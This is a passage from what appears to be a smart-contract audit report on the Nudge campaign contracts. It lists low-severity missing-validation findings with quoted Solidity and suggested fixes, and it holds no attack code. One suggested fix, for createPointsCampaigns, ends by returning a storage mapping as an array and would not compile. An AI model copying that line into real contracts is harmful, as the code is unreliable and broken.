Add validation for holdingPeriodInSeconds in both functions to ensure it’s greater than zero:

For createPointsCampaign:

function createPointsCampaign(
    uint256 campaignId,
    uint32 holdingPeriodInSeconds,
    address targetToken
) external onlyRole(NUDGE_ADMIN_ROLE) returns (Campaign memory) {
    if (targetToken == address(0)) {
        revert InvalidTargetToken();
    }
    
    // Add validation for holding period
    if (holdingPeriodInSeconds == 0) {
        revert InvalidHoldingPeriod();
    }
    
    if (campaigns[campaignId].targetToken != address(0)) {
        revert CampaignAlreadyExists();
    }
    
    campaigns[campaignId] = Campaign({
        targetToken: targetToken,
        totalReallocatedAmount: 0,
        holdingPeriodInSeconds: holdingPeriodInSeconds,
        pID: 0
    });
    
    emit PointsCampaignCreated(campaignId, holdingPeriodInSeconds, targetToken);
    return campaigns[campaignId];
}

For createPointsCampaigns:

function createPointsCampaigns(
    uint256[] calldata campaignIds,
    uint32[] calldata holdingPeriodsInSeconds,
    address[] calldata targetTokens
) external onlyRole(NUDGE_ADMIN_ROLE) returns (Campaign[] memory) {
    for (uint256 i = 0; i < campaignIds.length; i++) {
        if (targetTokens[i] == address(0)) {
            revert InvalidTargetToken();
        }
        
        // Add validation for holding period
        if (holdingPeriodsInSeconds[i] == 0) {
            revert InvalidHoldingPeriod();
        }
        
        if (campaigns[campaignIds[i]].targetToken != address(0)) {
            revert CampaignAlreadyExists();
        }
        
        campaigns[campaignIds[i]] = Campaign({
            targetToken: targetTokens[i],
            totalReallocatedAmount: 0,
            holdingPeriodInSeconds: holdingPeriodsInSeconds[i],
            pID: 0
        });
        
        emit PointsCampaignCreated(campaignIds[i], holdingPeriodsInSeconds[i], targetTokens[i]);
    }
    
    return campaigns;
}

Also, add the custom error definition at the contract level:

error InvalidHoldingPeriod();

References

[02] Missing target and reward token uniqueness check in campaign deployment

The NudgeCampaignFactory contract lacks validation to prevent using the same token address for both the target token and the reward token when deploying campaigns. This could lead to unexpected behavior and confusion for users.

Vulnerability Details

When deploying a campaign through deployCampaign and deployAndFundCampaign functions, there is no check to ensure that the targetToken and rewardToken parameters are different addresses. While both addresses are validated to be non-zero, the contract allows them to be identical.

This could result in a campaign where users are required to hold a token and are rewarded with the same token, potentially creating circular dependency issues or unexpected incentive structures.

Impact

  • Creates confusing incentive mechanisms where the same token is both required for eligibility and given as a reward.
  • May result in logical inconsistencies in campaign operations.
  • Could lead to unexpected behavior during reward calculations and distributions.
  • Diverges from the intended separation of target and reward tokens in the protocol design.

Proof of Concept

In NudgeCampaignFactory.sol:

function deployCampaign(
    uint32 holdingPeriodInSeconds,
    address targetToken,
    address rewardToken,
    uint256 rewardPPQ,
    address campaignAdmin,
    uint256 startTimestamp,
    address alternativeWithdrawalAddress,
    uint256 uuid
) public returns (address campaign) {
    if (campaignAdmin == address(0)) revert ZeroAddress();
    if (targetToken == address(0) || rewardToken == address(0)) revert ZeroAddress();
    if (holdingPeriodInSeconds == 0) revert InvalidParameter();

    // No check that targetToken != rewardToken
    // ...
}

Add a validation check in both deployCampaign and deployAndFundCampaign functions to ensure the target and reward tokens are different:

// Add to deployCampaign function
if (targetToken == rewardToken) revert SameTokenForTargetAndReward();

Also, add the corresponding error definition:

error SameTokenForTargetAndReward();

References

[03] Missing UUID uniqueness validation in campaign deployment

The NudgeCampaignFactory does not validate the uniqueness of campaign UUIDs during deployment, potentially allowing multiple campaigns with the same identifier.

Vulnerability Details

When deploying campaigns through deployCampaign and deployAndFundCampaign functions, there is no check to ensure that the provided uuid parameter is unique across all campaigns. This could lead to multiple campaigns sharing the same identifier.

While the CREATE2 deployment pattern ensures unique contract addresses due to other parameters in the salt calculation, having unique UUID’s is important for off-chain tracking and integration systems that may rely on these identifiers.

Impact

  • Multiple campaigns could share the same UUID, causing confusion in off-chain systems.
  • Could lead to errors in campaign tracking or analytics that rely on UUID uniqueness.
  • May impact integrations with external systems that expect UUIDs to be unique identifiers.

Proof of Concept

In NudgeCampaignFactory.sol:

function deployCampaign(
    uint32 holdingPeriodInSeconds,
    address targetToken,
    address rewardToken,
    uint256 rewardPPQ,
    address campaignAdmin,
    uint256 startTimestamp,
    address alternativeWithdrawalAddress,
    uint256 uuid
) public returns (address campaign) {
    if (campaignAdmin == address(0)) revert ZeroAddress();
    if (targetToken == address(0) || rewardToken == address(0)) revert ZeroAddress();
    if (holdingPeriodInSeconds == 0) revert InvalidParameter();

    // No validation that uuid is unique
    // ...
}

Implement a mapping to track used UUIDs and add a validation check in campaign deployment functions:

// Add to contract state variables
mapping(uint256 => bool) public usedUUIDs;

// Add to deployCampaign function
if (usedUUIDs[uuid]) revert DuplicateUUID();
usedUUIDs[uuid] = true;

Also, add the corresponding error definition:

error DuplicateUUID();

References

[04] Initial reward amount not validated in DeployAndFundCampaign function

The deployAndFundCampaign function in the NudgeCampaignFactory contract doesn’t validate that the initialRewardAmount is greater than zero; potentially allowing campaigns to be created with zero initial funding.

Vulnerability Details

When a campaign is deployed and funded using the deployAndFundCampaign function, there is no check to ensure that initialRewardAmount is greater than zero. This could result in campaigns being created with zero initial rewards, which contradicts the purpose of a funding function.

Impact

  • Campaigns could be deployed with zero initial funding despite using a specific funding function.
  • Could cause confusion for campaign administrators who expect the funding to occur.
  • May result in campaigns being unable to distribute rewards until separately funded.
  • Creates an inconsistent pattern where the “fund” function doesn’t actually require funding.

Proof of Concept

In NudgeCampaignFactory.sol:

function deployAndFundCampaign(
    uint32 holdingPeriodInSeconds,
    address targetToken,
    address rewardToken,
    uint256 rewardPPQ,
    address campaignAdmin,
    uint256 startTimestamp,
    address alternativeWithdrawalAddress,
    uint256 initialRewardAmount,
    uint256 uuid
) external payable returns (address campaign) {
    if (campaignAdmin == address(0)) revert ZeroAddress();
    if (targetToken == address(0) || rewardToken == address(0)) revert ZeroAddress();
    if (holdingPeriodInSeconds == 0) revert InvalidParameter();

    // No check that initialRewardAmount > 0
    // ...
}

Add a validation check to ensure the initial reward amount is greater than zero:

// Add to deployAndFundCampaign function
if (initialRewardAmount == 0) revert ZeroRewardAmount();

Also, add the corresponding error definition:

error ZeroRewardAmount();

References

deployAndFundCampaign

[05] Missing rewardPPQ validation in campaign deployment functions

The deployCampaign and deployAndFundCampaign functions in the NudgeCampaignFactory contract do not validate that the rewardPPQ parameter is greater than zero and less than PPQ_DENOMINATOR; potentially allowing campaigns to be created with zero or excessive rewards.

Vulnerability Details

The rewardPPQ parameter represents the reward factor in parts per quadrillion (PPQ) used to calculate campaign rewards. This critical parameter lacks validation in both deployment functions.

When rewardPPQ is zero, the campaign would function normally but would never distribute any rewards to participants, as the reward calculation would always result in zero. This creates a dysfunctional campaign that contradicts the core purpose of the protocol.

Additionally, if rewardPPQ is equal to or greater than PPQ_DENOMINATOR (1e15), rewards would be equal to or greater than the original amount allocated, which could lead to excessive and potentially unsustainable reward distributions.

Impact

  • Campaigns could be deployed with zero reward rates, resulting in users participating but receiving no rewards.
  • Campaigns could be deployed with excessively high reward rates (≥100%), leading to potentially unsustainable economic models.
  • Creates potential for misleading campaigns where users participate expecting reasonable rewards but receive none or excessive amounts.
  • Could damage user trust in the protocol if users don’t understand why they aren’t receiving expected rewards.
  • Wastes gas and resources on campaigns that don’t fulfill their intended purpose.

Proof of Concept

In NudgeCampaignFactory.sol:

function deployCampaign(
    uint32 holdingPeriodInSeconds,
    address targetToken,
    address rewardToken,
    uint256 rewardPPQ,
    address campaignAdmin,
    uint256 startTimestamp,
    address alternativeWithdrawalAddress,
    uint256 uuid
) public returns (address campaign) {
    if (campaignAdmin == address(0)) revert ZeroAddress();
    if (targetToken == address(0) || rewardToken == address(0)) revert ZeroAddress();
    if (holdingPeriodInSeconds == 0) revert InvalidParameter();

    // No validation that rewardPPQ > 0 and rewardPPQ < PPQ_DENOMINATOR
    // ...
}

The impact can be seen in NudgeCampaign.sol where rewards are calculated:

function getRewardAmountIncludingFees(uint256 toAmount) public view returns (uint256) {
    // If rewardPPQ is 0, this will always return 0 rewards
    // If rewardPPQ >= PPQ_DENOMINATOR (1e15), rewards will be >= 100% of toAmount
    return toAmount.mulDiv(rewardPPQ, PPQ_DENOMINATOR);
}

Add validation checks in both campaign deployment functions to ensure the reward rate is within valid bounds:

// Add to deployCampaign function
if (rewardPPQ == 0) revert ZeroRewardRate();
if (rewardPPQ >= PPQ_DENOMINATOR) revert ExcessiveRewardRate();

Also, add the corresponding error definitions:

error ZeroRewardRate();
error ExcessiveRewardRate();

References

[06] Missing campaign existence check in handleReallocation function

The handleReallocation function in the NudgePointsCampaigns contract does not validate whether the specified campaign exists before proceeding with operations. This oversight allows interaction with non-existent campaigns, potentially leading to silent failures.

Vulnerability Details

In the NudgePointsCampaigns contract, when the handleReallocation function is called with a non-existent campaign ID, it retrieves a default empty Campaign struct with zero values. The function then proceeds with operations on this empty struct instead of reverting.

The absence of an existence check means:

  • The function continues execution with default values for campaign parameters.
  • This will result in a silent failure while transferring tokens.

Proof of Concept

In NudgePointsCampaigns.sol, the handleReallocation function loads the campaign without verifying its existence:

function handleReallocation(
    uint256 campaignId,
    address userAddress,
    address toToken,
    uint256 toAmount,
    bytes calldata data
) external payable whenNotPaused(campaignId) onlyRole(SWAP_CALLER_ROLE) {
    Campaign storage campaign = campaigns[campaignId];
    
    // No validation that campaign exists!
    
    if (toToken != campaign.targetToken) {
        revert InvalidToTokenReceived(toToken);
    }
    
    // If campaign doesn't exist, campaign.targetToken will be address(0)
    // Further operations would use default zero values
    // ...
}

Add a validation check at the beginning of the function to ensure the campaign exists:

function handleReallocation(
    uint256 campaignId,
    address userAddress,
    address toToken,
    uint256 toAmount,
    bytes calldata data
) external payable whenNotPaused(campaignId) onlyRole(SWAP_CALLER_ROLE) {
    Campaign storage campaign = campaigns[campaignId];
    
    // Verify the campaign exists before proceeding
    if (campaign.targetToken == address(0)) {
        revert CampaignDoesNotExist();
    }
    
    if (toToken != campaign.targetToken) {
        revert InvalidToTokenReceived(toToken);
    }
    
    // Continue with existing implementation
    // ...
}

This check uses the same pattern established in other parts of the codebase, where a campaign’s existence is determined by its targetToken being non-zero.

References

handleReallocation

[07] Missing rescueTokens function in NudgePointsCampaigns contract

The NudgePointsCampaigns contract lacks a rescueTokens function, unlike the NudgeCampaign contract. This prevents administrators from recovering tokens that may be accidentally sent to the contract, potentially resulting in permanently locked funds.

Vulnerability Details

The NudgeCampaign contract includes a rescueTokens function that allows administrators to retrieve tokens accidentally sent to the contract. However, this functionality is missing from the NudgePointsCampaigns contract.

Without this function:

  • Tokens mistakenly sent to the NudgePointsCampaigns contract may be permanently locked.
  • There’s no emergency mechanism to recover funds in case of user errors.
  • The contract design is inconsistent with other contracts in the protocol.

Proof of Concept

NudgeCampaign.sol implements the rescueTokens function:

function rescueTokens(address token) external returns (uint256 amount) {
    if (!factory.hasRole(factory.NUDGE_ADMIN_ROLE(), msg.sender)) {
        revert Unauthorized();
    }

    if (token == rewardToken) {
        revert CannotRescueRewardToken();
    }

    amount = getBalanceOfSelf(token);
    if (amount > 0) {
        _transfer(token, msg.sender, amount);
        emit TokensRescued(token, amount);
    }

    return amount;
}

However, NudgePointsCampaigns.sol lacks this functionality, creating inconsistency and a potential risk of locked tokens.

Implement a similar rescueTokens function in the NudgePointsCampaigns contract:

/// @notice Rescues tokens that were mistakenly sent to the contract
/// @param token Address of token to rescue
/// @dev Only callable by NUDGE_ADMIN_ROLE
/// @return amount Amount of tokens rescued
function rescueTokens(address token) external onlyRole(NUDGE_ADMIN_ROLE) returns (uint256 amount) {
    amount = getBalanceOfSelf(token);
    if (amount > 0) {
        _transfer(token, msg.sender, amount);
        emit TokensRescued(token, amount);
    }

    return amount;
}

/// @notice Emitted when tokens are rescued from the contract
/// @param token Address of the rescued token
/// @param amount Amount of tokens rescued
event TokensRescued(address indexed token, uint256 amount);

The implementation should be added to the ADMIN FUNCTIONS section of the NudgePointsCampaigns contract.

References


Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.